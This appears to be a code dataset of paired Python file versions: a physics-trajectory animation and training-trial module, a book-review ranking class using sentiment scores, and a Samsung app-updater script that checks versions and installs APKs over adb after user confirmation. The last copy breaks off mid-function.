self.ax = self.fig.add_axes([0, 0, 1, 1],projection='3d') if d==3 else self.fig.add_axes([0, 0, 1, 1])
#self.ax.axis('equal')
xyzmin = self.qt.min(0).min(0)#.min(dim=0)[0].min(dim=0)[0]
xyzmax = self.qt.max(0).max(0)#.max(dim=0)[0].max(dim=0)[0]
delta = xyzmax-xyzmin
lower = xyzmin-.1*delta; upper = xyzmax+.1*delta
if lims is None:
lims = (min(lower),max(upper)),(min(lower),max(upper)),(min(lower),max(upper))
self.ax.set_xlim(lims[0])
self.ax.set_ylim(lims[1])
if d==3: self.ax.set_zlim(lims[2])
if d!=3: self.ax.set_aspect("equal")
#elf.ax.auto_scale_xyz()
empty = d*[[]]
self.colors = np.random.choice([f"C{i}" for i in range(10)],size=n,replace=False)
self.objects = {
'pts':sum([self.ax.plot(*empty, "o", ms=6,color=self.colors[i]) for i in range(n)], []),
'traj_lines':sum([self.ax.plot(*empty, "-",color=self.colors[i],lw=traj_lw) for i in range(n)], []),
}
def init(self):
empty = 2*[[]]
for obj in self.objects.values():
for elem in obj:
elem.set_data(*empty)
#if self.qt.shape[-1]==3: elem.set_3d_properties([])
return sum(self.objects.values(),[])
def update(self, i=0):
T,n,d = self.qt.shape
trail_len = 150
for j in range(n):
# trails
xyz = self.qt[max(i - trail_len,0): i + 1,j,:]
#chunks = xyz.shape[0]//10
#xyz_chunks = torch.chunk(xyz,chunks)
#for i,xyz in enumerate(xyz_chunks):
self.objects['traj_lines'][j].set_data(*xyz[...,:2].T)
if d==3: self.objects['traj_lines'][j].set_3d_properties(xyz[...,2].T)
self.objects['pts'][j].set_data(*xyz[-1:,...,:2].T)
if d==3: self.objects['pts'][j].set_3d_properties(xyz[-1:,...,2].T)
#self.fig.canvas.draw()
return sum(self.objects.values(),[])
def animate(self):
return animation.FuncAnimation(self.fig,self.update,frames=self.qt.shape[0],
interval=33,init_func=self.init,blit=True).to_html5_video()
class PendulumAnimation(Animation):
def __init__(self, qt,*args,**kwargs):
super().__init__(qt,*args,**kwargs)
empty = self.qt.shape[-1] * [[]]
self.objects["pts"] = sum([self.ax.plot(*empty, "o", ms=10,c=self.colors[i]) for i in range(self.qt.shape[1])], [])
def update(self, i=0):
return super().update(i)
def helix(Ns=1000,radius=.05,turns=25):
t = np.linspace(0,1,Ns)
xyz = np.zeros((Ns,3))
xyz[:,0] = np.cos(2*np.pi*Ns*t*turns)*radius
xyz[:,1] = np.sin(2*np.pi*Ns*t*turns)*radius
xyz[:,2] = t
xyz[:,:2][(t>.9)|(t<.1)]=0
return xyz
def align2ref(refs,vecs):
""" inputs [refs (n,3), vecs (N,3)]
outputs [aligned (n,N,3)]
assumes vecs are pointing along z axis"""
n,_ = refs.shape
N,_ = vecs.shape
norm = np.sqrt((refs**2).sum(-1))
v = refs/norm[:,None]
A = np.zeros((n,3,3))
A[:,:,2] += v
A[:,2,:] -= v
M = (np.eye(3)+A+(A@A)/(1+v[:,2,None,None]))
scaled_vecs = vecs[None]+0*norm[:,None,None] #broadcast to right shape
scaled_vecs[:,:,2] *= norm[:,None]#[:,None,None]
return (M[:,None]@scaled_vecs[...,None]).squeeze(-1)
class CoupledPendulumAnimation(PendulumAnimation):
def __init__(self, *args, spring_lw=.6,spring_r=.2,**kwargs):
super().__init__(*args, **kwargs)
empty = self.qt.shape[-1]*[[]]
self.objects["springs"] = self.ax.plot(*empty,c='k',lw=spring_lw)#
#self.objects["springs"] = sum([self.ax.plot(*empty,c='k',lw=2) for _ in range(self.n-1)],[])
self.helix = helix(200,radius=spring_r,turns=10)
def update(self,i=0):
qt_padded = np.concatenate([0*self.qt[i,:1],self.qt[i,:]],axis=0)
diffs = qt_padded[1:]-qt_padded[:-1]
x,y,z = (align2ref(diffs,self.helix)+qt_padded[:-1][:,None]).reshape(-1,3).T
self.objects['springs'][0].set_data(x,y)
self.objects['springs'][0].set_3d_properties(z)
return super().update(i)
from collections.abc import Iterable
@export
class hnn_trial(object):
""" Assumes trainer is an object of type Trainer, trains for num_epochs which may be an
integer or an iterable containing intermediate points at which to save.
Pulls out special (resume, save, early_stop_metric, local_rank) args from the cfg """
def __init__(self,make_trainer,strict=True):
self.make_trainer = make_trainer
self.strict=strict
def __call__(self,cfg,i=None):
try:
cfg.pop('local_rank',None) #TODO: properly handle distributed
resume = cfg.pop('resume',False)
save = cfg.pop('save',False)
if i is not None:
orig_suffix = cfg.setdefault('trainer_config',{}).get('log_suffix','')
cfg['trainer_config']['log_suffix'] = os.path.join(orig_suffix,f'trial{i}/')
trainer = self.make_trainer(**cfg)
trainer.logger.add_scalars('config',flatten_dict(cfg))
epochs = cfg['num_epochs'] if isinstance(cfg['num_epochs'],Iterable) else [cfg['num_epochs']]
if resume: trainer.load_checkpoint(None if resume==True else resume)
epochs = [e for e in epochs if e>trainer.epoch]
for epoch in epochs:
trainer.train_to(epoch)
if save: cfg['saved_at']=trainer.save_checkpoint()
outcome = trainer.ckpt['outcome']
trajectories = []
for mb in trainer.dataloaders['test']:
trajectories.append(pred_and_gt(trainer.dataloaders['test'].dataset,trainer.model,mb))
torch.save(np.concatenate(trajectories),f"./{cfg['network']}_{cfg['net_config']['group']}_{i}.t")
except Exception as e:
if self.strict: raise
outcome = e
del trainer
return cfg, outcome
@export
class ode_trial(object):
""" Assumes trainer is an object of type Trainer, trains for num_epochs which may be an
integer or an iterable containing intermediate points at which to save.
Pulls out special (resume, save, early_stop_metric, local_rank) args from the cfg """
def __init__(self,make_trainer,strict=True):
self.make_trainer = make_trainer
self.strict=strict
def __call__(self,cfg,i=None):
try:
cfg.pop('local_rank',None) #TODO: properly handle distributed
resume = cfg.pop('resume',False)
save = cfg.pop('save',False)
if i is not None:
orig_suffix = cfg.setdefault('trainer_config',{}).get('log_suffix','')
cfg['trainer_config']['log_suffix'] = os.path.join(orig_suffix,f'trial{i}/')
trainer = self.make_trainer(**cfg)
trainer.logger.add_scalars('config',flatten_dict(cfg))
epochs = cfg['num_epochs'] if isinstance(cfg['num_epochs'],Iterable) else [cfg['num_epochs']]
if resume: trainer.load_checkpoint(None if resume==True else resume)
epochs = [e for e in epochs if e>trainer.epoch]
for epoch in epochs:
trainer.train_to(epoch)
if save: cfg['saved_at']=trainer.save_checkpoint()
outcome = trainer.ckpt['outcome']
trajectories = []
for mb in trainer.dataloaders['test']:
trajectories.append(pred_and_gt_ode(trainer.dataloaders['test'].dataset,trainer.model,mb))
torch.save(np.concatenate(trajectories),f"./{cfg['network']}_{cfg['net_config']['group']}_{i}.t")
except Exception as e:
if self.strict: raise
outcome = e
del trainer
return cfg, outcome
|
"""
Module contains class 'Review', which contains information
about book review, written in english, and class 'ReviewList',
which keeps all book reviews.
"""
from nltk.sentiment import SentimentIntensityAnalyzer
from typing import List
from langdetect import detect
from langdetect.lang_detect_exception import LangDetectException
class Review:
"""
Information about the review.
"""
def __init__(self, info_tuple):
"""
Initializes the class.
:type info_tuple: tuple
:param info_tuple: Information about the review.
"""
self.author = info_tuple[0]
self.rating = info_tuple[1]
self.text = info_tuple[2]
self.length = len(info_tuple[2])
self.neutrality = self.calc_neutrality()
def calc_neutrality(self):
"""
Calculates neutral lexic's percentage
in the text.
:type output: float
:param output: Neutrality.
"""
sia_object = SentimentIntensityAnalyzer()
return sia_object.polarity_scores(self.text)['neu']
def __lt__(self, other) -> bool:
"""
Compares reviews' ratings and reliability
by three aspects.
1 - rating
2 - amount of neutral language
3 - length of the text
Method is needed for future comparing of reviews
and sorting.
:type other: Review
:param other: Another review.
"""
if self.rating == other.rating:
if self.neutrality == other.neutrality:
if self.length < other.length:
return True
else:
return False
return self.neutrality < other.neutrality
return self.rating < other.rating
def __repr__(self) -> str:
"""Returns the string to represent the
class."""
return f"username: {self.author}\nrating: \
{self.rating * '⋆'}\n{self.text}\ntotal length: {self.length}\n\
neutrality of text: {self.neutrality}\n"
class ReviewList:
"""
Keeps and sort Review objects.
"""
def __init__(self):
"""Initializes the class."""
self.reviews = []
def __repr__(self) -> str:
"""
Returns the string to represent the
class.
:type output: str
:param output: Representance of class object.
"""
final_str = ''
for review in self.reviews:
final_str += str(review)
return final_str
def clear(self):
"""
Clears itself and returns all of the data
:type output: ReviewList
:param output: Copy of object.
"""
deleted_data = ReviewList()
deleted_data.reviews = self.reviews
self.reviews = []
return deleted_data
def add_review(self, review):
"""
Adds a new review if it's written in English.
:type review: Review
:param review: New review.
"""
try:
if detect(review.text.split('.')[0]) == 'en':
self.reviews.append(review)
except LangDetectException:
print(f"Language of ({review.text.split(".")[0]}) could not be detect")
def reliability_sort(self):
"""
Sorts reviews by their rates, length and
number of neutral language in descending order.
Here the adapted method __lt__ for class
Reviews is used.
"""
self.reviews.sort(reverse=True)
def get_mood_range(self, mood_lst=[5, 3, 2]) -> List[Review]:
"""
Returns the list of three most reliable
reviews from the all given.
Gets the sorted list of reviews and returns
list with first positive, nutral and negative reviews
(rating 5, 3 and 2 in accordance). There would be our
most reliable reviews from every category.
If there are no reviews with ratings5 or 2, the method
will return reviews with ratings 4 or 1.
:type output: List[Review]
:param output: List of Review objects.
"""
self.reliability_sort()
result = []
index = 0
while index < len(mood_lst):
for review in self.reviews:
if index < len(mood_lst):
if review.rating == mood_lst[index]:
result.append(review)
index += 1
index += 1
if len(result) < 3 and len(mood_lst) > 2:
if any(review.rating == 2 for review in result) is False and \
any(review.rating == 5 for review in result) is False:
result += self.get_mood_range(mood_lst=[4, 1])
elif not any(review.rating == 5 for review in result):
result += self.get_mood_range(mood_lst=[4])
elif not any(review.rating == 2 for review in result):
result += self.get_mood_range(mood_lst=(1,))
result.sort(reverse=True)
return result
| """
Module contains class 'Review', which contains information
about book review, written in english, and class 'ReviewList',
which keeps all book reviews.
"""
from nltk.sentiment import SentimentIntensityAnalyzer
from typing import List
from langdetect import detect
from langdetect.lang_detect_exception import LangDetectException
class Review:
"""
Information about the review.
"""
def __init__(self, info_tuple):
"""
Initializes the class.
:type info_tuple: tuple
:param info_tuple: Information about the review.
"""
self.author = info_tuple[0]
self.rating = info_tuple[1]
self.text = info_tuple[2]
self.length = len(info_tuple[2])
self.neutrality = self.calc_neutrality()
def calc_neutrality(self):
"""
Calculates neutral lexic's percentage
in the text.
:type output: float
:param output: Neutrality.
"""
sia_object = SentimentIntensityAnalyzer()
return sia_object.polarity_scores(self.text)['neu']
def __lt__(self, other) -> bool:
"""
Compares reviews' ratings and reliability
by three aspects.
1 - rating
2 - amount of neutral language
3 - length of the text
Method is needed for future comparing of reviews
and sorting.
:type other: Review
:param other: Another review.
"""
if self.rating == other.rating:
if self.neutrality == other.neutrality:
if self.length < other.length:
return True
else:
return False
return self.neutrality < other.neutrality
return self.rating < other.rating
def __repr__(self) -> str:
"""Returns the string to represent the
class."""
return f"username: {self.author}\nrating: \
{self.rating * '⋆'}\n{self.text}\ntotal length: {self.length}\n\
neutrality of text: {self.neutrality}\n"
class ReviewList:
"""
Keeps and sort Review objects.
"""
def __init__(self):
"""Initializes the class."""
self.reviews = []
def __repr__(self) -> str:
"""
Returns the string to represent the
class.
:type output: str
:param output: Representance of class object.
"""
final_str = ''
for review in self.reviews:
final_str += str(review)
return final_str
def clear(self):
"""
Clears itself and returns all of the data
:type output: ReviewList
:param output: Copy of object.
"""
deleted_data = ReviewList()
deleted_data.reviews = self.reviews
self.reviews = []
return deleted_data
def add_review(self, review):
"""
Adds a new review if it's written in English.
:type review: Review
:param review: New review.
"""
try:
if detect(review.text.split('.')[0]) == 'en':
self.reviews.append(review)
except LangDetectException:
print(f"Language of ({review.text.split('.')[0]}) could not be detect")
def reliability_sort(self):
"""
Sorts reviews by their rates, length and
number of neutral language in descending order.
Here the adapted method __lt__ for class
Reviews is used.
"""
self.reviews.sort(reverse=True)
def get_mood_range(self, mood_lst=[5, 3, 2]) -> List[Review]:
"""
Returns the list of three most reliable
reviews from the all given.
Gets the sorted list of reviews and returns
list with first positive, nutral and negative reviews
(rating 5, 3 and 2 in accordance). There would be our
most reliable reviews from every category.
If there are no reviews with ratings5 or 2, the method
will return reviews with ratings 4 or 1.
:type output: List[Review]
:param output: List of Review objects.
"""
self.reliability_sort()
result = []
index = 0
while index < len(mood_lst):
for review in self.reviews:
if index < len(mood_lst):
if review.rating == mood_lst[index]:
result.append(review)
index += 1
index += 1
if len(result) < 3 and len(mood_lst) > 2:
if any(review.rating == 2 for review in result) is False and \
any(review.rating == 5 for review in result) is False:
result += self.get_mood_range(mood_lst=[4, 1])
elif not any(review.rating == 5 for review in result):
result += self.get_mood_range(mood_lst=[4])
elif not any(review.rating == 2 for review in result):
result += self.get_mood_range(mood_lst=(1,))
result.sort(reverse=True)
return result
|
import os
import re
from urllib import request
import requests
import subprocess
import sys
regex_info = re.compile(r".*<resultMsg>(?P<msg>[^']*)</resultMsg>"
r".*<downloadURI><!\[CDATA\[(?P<uri>[^']*)\]\]></downloadURI>"
r".*<versionCode>(?P<vs_code>\d+)</versionCode>", re.MULTILINE | re.DOTALL)
mode=''
class bcolors:
HEADER = '\033[95m'
OKGREEN = '\033[92m'
OKBLUE = '\033[94m'
OKPURPLE = '\033[95m'
INFOYELLOW = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def devproc():
global model
devproc=subprocess.Popen(["adb","shell","getprop","ro.product.model"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
devout = devproc.stdout.read()
devout = devout.decode('utf-8')
devout = devout.strip()
model = devout
def andproc():
global sdk_ver
andproc=subprocess.Popen(["adb","shell","getprop","ro.build.version.sdk"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
andout = andproc.stdout.read()
andout = andout.decode('utf-8')
andout = andout.strip()
sdk_ver = andout
def modesel():
global mode
print("Select mode to use:")
print(" (1) : Quick mode")
print(" (2) : Normal mode(Only enabled apps)")
print(" (3) : All apps Mode")
print(" (0) : Exit")
mode = input(f"{bcolors.OKBLUE}Enter the number corresponding to the mode to be used: {bcolors.ENDC}")
exec()
def exec():
qmode=''
global mode,adbout,listfile
if(mode=='1'):
print('\n')
print("Select list to use:")
print(" (1) : Enabled Applist")
print(" (2) : Complete Applist")
print(" (0) : Go back to previous Mode selection")
qmode = input(f"{bcolors.OKBLUE}Enter the number corresponding to the mode to be used: {bcolors.ENDC}")
if(qmode=='1' or qmode=='2'):
print("\n Looking for updatable packages...")
if (os.path.exists(f".list-{model}-{sdk_ver}-Mode-{int(qmode)+1}") and os.stat(f".list-{model}-{sdk_ver}-Mode-{int(qmode)+1}").st_size != 0):
listfile= open(f".list-{model}-{sdk_ver}-Mode-{int(qmode)+1}","r")
listfile.seek(0,2)
listfile.seek(listfile.tell()-1,0)
if(listfile.read()=='%'):
listfile.seek(0,0)
listmode()
listfile.close()
else:
listfile.close()
print(f"List not populated, Fallback to Mode-{int(qmode)+1}")
mode=(f"{int(qmode)+1}")
exec()
else:
print(f"List not populated, Fallback to Mode-{int(qmode)+1}")
mode=(f"{int(qmode)+1}")
exec()
elif(qmode=='0'):
print(f"\n\t{bcolors.FAIL}RETURN:{bcolors.ENDC} Mode selection initiated\n")
modesel()
else:
print(f"\n\t{bcolors.FAIL}RETURN:{bcolors.ENDC} No or Illegal Input detected\n")
modesel()
elif(mode=='2'):
print("\n Looking for updatable packages...")
adbproc=subprocess.Popen(["adb","shell","pm","list","packages","-e","--show-versioncode","|","cut","-f2-3","-d:"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
adbout = adbproc.stdout.readlines()
listfile=open(f".list-{model}-{sdk_ver}-Mode-2","w")
directmode()
listfile.write('%')
listfile.close()
elif(mode=='3'):
print("\n Looking for updatable packages...")
adbproc=subprocess.Popen(["adb","shell","pm","list","packages","--show-versioncode","|","cut","-f2-3","-d:"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
adbout = adbproc.stdout.readlines()
listfile=open(f".list-{model}-{sdk_ver}-Mode-3","w")
directmode()
listfile.write('%')
listfile.close()
elif(mode=='0'):
sys.exit(f"\n\t{bcolors.FAIL}QUIT:{bcolors.ENDC} Program Aborted by User\n")
else:
sys.exit(f"\n\t{bcolors.FAIL}QUIT:{bcolors.ENDC} No or Illegal Input detected\n")
def directmode():
global package_name,versioncode,listfile
for pkginsinfo in adbout:
x=pkginsinfo.decode('utf-8')
x=x.strip()
x=x.split(' ')
package_name=x[0]
y=x[1].split(':')
versioncode=y[1]
print(f"\033[A {bcolors.OKBLUE}Looking for updatable packages...{bcolors.ENDC}")
loadanimate()
urlproc()
update()
listfile.flush()
def listmode():
global package_name,versioncode,listfile
lines = listfile.read()
lines = lines.split('$')
lines.pop()
for line in lines:
vercheck=subprocess.Popen(["adb","shell","pm","list","packages","--show-versioncode","|","grep","-w",line,"|","cut","-f3","-d:"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
verinfo = vercheck.stdout.read()
verinfo = verinfo.decode('utf-8')
verinfo = verinfo.strip()
versioncode=verinfo
package_name=line
print(f"\033[A {bcolors.OKBLUE}Looking for updatable packages...{bcolors.ENDC}")
loadanimate()
urlproc()
update()
def loadanimate():
global i
if(i==0):
print(f'\033[A{bcolors.OKBLUE}⢿{bcolors.ENDC}')
elif(i==1):
print(f'\033[A{bcolors.OKBLUE}⣻{bcolors.ENDC}')
elif(i==2):
print(f'\033[A{bcolors.OKBLUE}⣽{bcolors.ENDC}')
elif(i==3):
print(f'\033[A{bcolors.OKBLUE}⣾{bcolors.ENDC}')
elif(i==4):
print(f'\033[A{bcolors.OKBLUE}⣷{bcolors.ENDC}')
elif(i==5):
print(f'\033[A{bcolors.OKBLUE}⣯{bcolors.ENDC}')
elif(i==6):
print(f'\033[A{bcolors.OKBLUE}⣟{bcolors.ENDC}')
elif(i==7):
print(f'\033[A{bcolors.OKBLUE}⡿{bcolors.ENDC}')
i=-1
i+=1
def insproc():
global insout
insproc=subprocess.Popen(["adb","install","-r",file[0]],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
insout = insproc.stdout.readlines()
def update():
global errorcount,pkgcount,file,listfile
match = [m.groupdict() for m in regex_info.finditer(url)]
if not match:
# Showing error message from samsung servers
error_msg = re.compile(r"resultMsg>(.*)</resultMsg>").findall(url)
while(error_msg==0):
urlproc()
error_msg = re.compile(r"resultMsg>(.*)</resultMsg>").findall(url)
if (error_msg[0] !='Application is not approved as stub' and error_msg[0] !="Couldn't find your app which matches requested conditions. Please check distributed conditions of your app like device, country, mcc, mnc, csc, api level" and error_msg[0] !='Application is not allowed to use stubDownload' and error_msg[0] !='This call is unnecessary and blocked. Please contact administrator of GalaxyApps server.'):
errorcount+=1
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f'\033[A{bcolors.FAIL} Looking for updatable packages... ERROR(%d): {bcolors.INFOYELLOW}"{error_msg[0]}"{bcolors.ENDC}'%(errorcount))
print('\033[A ')
return
return
match = match[0]
pkgcount+=1
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f"\033[A {bcolors.OKPURPLE}Found(%d) %s{bcolors.ENDC}"%(pkgcount,package_name))
if(mode=='2' or mode=='3'):
listfile.write(package_name)
listfile.write('$')
if(match['vs_code']>versioncode):
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f" {bcolors.INFOYELLOW}Update Availabe!\n{bcolors.ENDC}")
print(f" Version code{bcolors.OKPURPLE}(Server) : %s{bcolors.ENDC}"%(match['vs_code']))
print(f" Version code{bcolors.OKBLUE}(Installed) : %s\n{bcolors.ENDC}"%(versioncode))
continue_msg = input(f"{bcolors.OKBLUE}Do you want to install this version? {bcolors.INFOYELLOW}[Y/n]: ")
print('\n')
# Download the apk file
while continue_msg not in ["Y", "y", "", "N", "n"]:
continue_msg = input(f"{bcolors.OKBLUE}\033[AInput Error. choose {bcolors.INFOYELLOW}[Y/n]: ")
else:
if continue_msg in ("N", "n"):
print(f"{bcolors.OKBLUE}\033[AOkay, You may try again any time :)\n\n{bcolors.ENDC}")
if continue_msg in ("Y", "y", ""):
print(f"{bcolors.OKBLUE}\033[ADownload started!... {bcolors.ENDC}")
file = request.urlretrieve(match["uri"], f'{package_name}.apk')
print(f"{bcolors.OKBLUE}APK saved: {bcolors.INFOYELLOW}{os.getcwd()}/{file[0]}{bcolors.ENDC}")
print(f"\n{bcolors.OKBLUE}Install started!...{bcolors.ENDC}")
insproc()
while(insout[1]!=b'Success\n'):
insproc()
print(f"{bcolors.FAIL}ERROR : Device not connected or authorization not granted{bcolors.ENDC}")
print(f"{bcolors.INFOYELLOW}INFO : Connect the device and grant authorization for USB debugging{bcolors.ENDC}\033[A\033[A")
print(" ")
print(" \033[A\033[A")
print(f"{bcolors.OKPURPLE}{insout[0].decode("utf-8")}{bcolors.ENDC}{bcolors.OKGREEN}{insout[1].decode("utf-8")}{bcolors.ENDC}")
print(f"{bcolors.OKPURPLE}Running Post-install Cleanup{bcolors.ENDC}")
os.remove(file[0])
print(f"{bcolors.INFOYELLOW}APK Deleted!{bcolors.ENDC}")
print(f"{bcolors.OKGREEN}DONE!{bcolors.ENDC}\n\n")
elif(match['vs_code']==versioncode):
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f" {bcolors.OKGREEN}Already the latest version\n\n{bcolors.ENDC}")
else:
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f" {bcolors.INFOYELLOW}Installed version higher than that on server?!!\n{bcolors.ENDC}")
print(f" Version code{bcolors.OKPURPLE}(Server) : %s{bcolors.ENDC}"%(match['vs_code']))
print(f" Version code{bcolors.OKBLUE}(Installed) : %s\n{bcolors.ENDC}\n"%(versioncode))
def urlproc():
global url
url = url_format.format(package_name, model.upper(), sdk_ver)
url = requests.get(url).text
# set url format
url_format = "https://vas.samsungapps.com/stub/stubDownload.as?appId={}&deviceId={}" \
"&mcc=425&mnc=01&csc=ILO&sdkVer={}&pd=0&systemId=1608665720954&callerId=com.sec.android.app.samsungapps" \
"&abiType=64&extuk=0191d6627f38685f"
i=0
pkgcount=0
errorcount=0
devproc()
while(model==''):
devproc()
print(f"{bcolors.FAIL}ERROR : Device not connected or authorization not granted{bcolors.ENDC}")
print(f"{bcolors.INFOYELLOW}INFO : Connect the device and grant authorization for USB debugging{bcolors.ENDC}\033[A\033[A")
print(" ")
print(" \033[A\033[A")
print("\nDevice Model detected: %s"%(model))
andproc()
print("Android SDK Version: %s\n"%(sdk_ver))
modesel()
print("\n\t--End of package list--")
sys.exit("Operation Completed Successfully")
| import os
import re
from urllib import request
import requests
import subprocess
import sys
regex_info = re.compile(r".*<resultMsg>(?P<msg>[^']*)</resultMsg>"
r".*<downloadURI><!\[CDATA\[(?P<uri>[^']*)\]\]></downloadURI>"
r".*<versionCode>(?P<vs_code>\d+)</versionCode>", re.MULTILINE | re.DOTALL)
mode=''
class bcolors:
HEADER = '\033[95m'
OKGREEN = '\033[92m'
OKBLUE = '\033[94m'
OKPURPLE = '\033[95m'
INFOYELLOW = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def devproc():
global model
devproc=subprocess.Popen(["adb","shell","getprop","ro.product.model"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
devout = devproc.stdout.read()
devout = devout.decode('utf-8')
devout = devout.strip()
model = devout
def andproc():
global sdk_ver
andproc=subprocess.Popen(["adb","shell","getprop","ro.build.version.sdk"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
andout = andproc.stdout.read()
andout = andout.decode('utf-8')
andout = andout.strip()
sdk_ver = andout
def modesel():
global mode
print("Select mode to use:")
print(" (1) : Quick mode")
print(" (2) : Normal mode(Only enabled apps)")
print(" (3) : All apps Mode")
print(" (0) : Exit")
mode = input(f"{bcolors.OKBLUE}Enter the number corresponding to the mode to be used: {bcolors.ENDC}")
exec()
def exec():
qmode=''
global mode,adbout,listfile
if(mode=='1'):
print('\n')
print("Select list to use:")
print(" (1) : Enabled Applist")
print(" (2) : Complete Applist")
print(" (0) : Go back to previous Mode selection")
qmode = input(f"{bcolors.OKBLUE}Enter the number corresponding to the mode to be used: {bcolors.ENDC}")
if(qmode=='1' or qmode=='2'):
print("\n Looking for updatable packages...")
if (os.path.exists(f".list-{model}-{sdk_ver}-Mode-{int(qmode)+1}") and os.stat(f".list-{model}-{sdk_ver}-Mode-{int(qmode)+1}").st_size != 0):
listfile= open(f".list-{model}-{sdk_ver}-Mode-{int(qmode)+1}","r")
listfile.seek(0,2)
listfile.seek(listfile.tell()-1,0)
if(listfile.read()=='%'):
listfile.seek(0,0)
listmode()
listfile.close()
else:
listfile.close()
print(f"List not populated, Fallback to Mode-{int(qmode)+1}")
mode=(f"{int(qmode)+1}")
exec()
else:
print(f"List not populated, Fallback to Mode-{int(qmode)+1}")
mode=(f"{int(qmode)+1}")
exec()
elif(qmode=='0'):
print(f"\n\t{bcolors.FAIL}RETURN:{bcolors.ENDC} Mode selection initiated\n")
modesel()
else:
print(f"\n\t{bcolors.FAIL}RETURN:{bcolors.ENDC} No or Illegal Input detected\n")
modesel()
elif(mode=='2'):
print("\n Looking for updatable packages...")
adbproc=subprocess.Popen(["adb","shell","pm","list","packages","-e","--show-versioncode","|","cut","-f2-3","-d:"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
adbout = adbproc.stdout.readlines()
listfile=open(f".list-{model}-{sdk_ver}-Mode-2","w")
directmode()
listfile.write('%')
listfile.close()
elif(mode=='3'):
print("\n Looking for updatable packages...")
adbproc=subprocess.Popen(["adb","shell","pm","list","packages","--show-versioncode","|","cut","-f2-3","-d:"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
adbout = adbproc.stdout.readlines()
listfile=open(f".list-{model}-{sdk_ver}-Mode-3","w")
directmode()
listfile.write('%')
listfile.close()
elif(mode=='0'):
sys.exit(f"\n\t{bcolors.FAIL}QUIT:{bcolors.ENDC} Program Aborted by User\n")
else:
sys.exit(f"\n\t{bcolors.FAIL}QUIT:{bcolors.ENDC} No or Illegal Input detected\n")
def directmode():
global package_name,versioncode,listfile
for pkginsinfo in adbout:
x=pkginsinfo.decode('utf-8')
x=x.strip()
x=x.split(' ')
package_name=x[0]
y=x[1].split(':')
versioncode=y[1]
print(f"\033[A {bcolors.OKBLUE}Looking for updatable packages...{bcolors.ENDC}")
loadanimate()
urlproc()
update()
listfile.flush()
def listmode():
global package_name,versioncode,listfile
lines = listfile.read()
lines = lines.split('$')
lines.pop()
for line in lines:
vercheck=subprocess.Popen(["adb","shell","pm","list","packages","--show-versioncode","|","grep","-w",line,"|","cut","-f3","-d:"],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
verinfo = vercheck.stdout.read()
verinfo = verinfo.decode('utf-8')
verinfo = verinfo.strip()
versioncode=verinfo
package_name=line
print(f"\033[A {bcolors.OKBLUE}Looking for updatable packages...{bcolors.ENDC}")
loadanimate()
urlproc()
update()
def loadanimate():
global i
if(i==0):
print(f'\033[A{bcolors.OKBLUE}⢿{bcolors.ENDC}')
elif(i==1):
print(f'\033[A{bcolors.OKBLUE}⣻{bcolors.ENDC}')
elif(i==2):
print(f'\033[A{bcolors.OKBLUE}⣽{bcolors.ENDC}')
elif(i==3):
print(f'\033[A{bcolors.OKBLUE}⣾{bcolors.ENDC}')
elif(i==4):
print(f'\033[A{bcolors.OKBLUE}⣷{bcolors.ENDC}')
elif(i==5):
print(f'\033[A{bcolors.OKBLUE}⣯{bcolors.ENDC}')
elif(i==6):
print(f'\033[A{bcolors.OKBLUE}⣟{bcolors.ENDC}')
elif(i==7):
print(f'\033[A{bcolors.OKBLUE}⡿{bcolors.ENDC}')
i=-1
i+=1
def insproc():
global insout
insproc=subprocess.Popen(["adb","install","-r",file[0]],stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
insout = insproc.stdout.readlines()
def update():
global errorcount,pkgcount,file,listfile
match = [m.groupdict() for m in regex_info.finditer(url)]
if not match:
# Showing error message from samsung servers
error_msg = re.compile(r"resultMsg>(.*)</resultMsg>").findall(url)
while(error_msg==0):
urlproc()
error_msg = re.compile(r"resultMsg>(.*)</resultMsg>").findall(url)
if (error_msg[0] !='Application is not approved as stub' and error_msg[0] !="Couldn't find your app which matches requested conditions. Please check distributed conditions of your app like device, country, mcc, mnc, csc, api level" and error_msg[0] !='Application is not allowed to use stubDownload' and error_msg[0] !='This call is unnecessary and blocked. Please contact administrator of GalaxyApps server.'):
errorcount+=1
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f'\033[A{bcolors.FAIL} Looking for updatable packages... ERROR(%d): {bcolors.INFOYELLOW}"{error_msg[0]}"{bcolors.ENDC}'%(errorcount))
print('\033[A ')
return
return
match = match[0]
pkgcount+=1
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f"\033[A {bcolors.OKPURPLE}Found(%d) %s{bcolors.ENDC}"%(pkgcount,package_name))
if(mode=='2' or mode=='3'):
listfile.write(package_name)
listfile.write('$')
if(match['vs_code']>versioncode):
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f" {bcolors.INFOYELLOW}Update Availabe!\n{bcolors.ENDC}")
print(f" Version code{bcolors.OKPURPLE}(Server) : %s{bcolors.ENDC}"%(match['vs_code']))
print(f" Version code{bcolors.OKBLUE}(Installed) : %s\n{bcolors.ENDC}"%(versioncode))
continue_msg = input(f"{bcolors.OKBLUE}Do you want to install this version? {bcolors.INFOYELLOW}[Y/n]: ")
print('\n')
# Download the apk file
while continue_msg not in ["Y", "y", "", "N", "n"]:
continue_msg = input(f"{bcolors.OKBLUE}\033[AInput Error. choose {bcolors.INFOYELLOW}[Y/n]: ")
else:
if continue_msg in ("N", "n"):
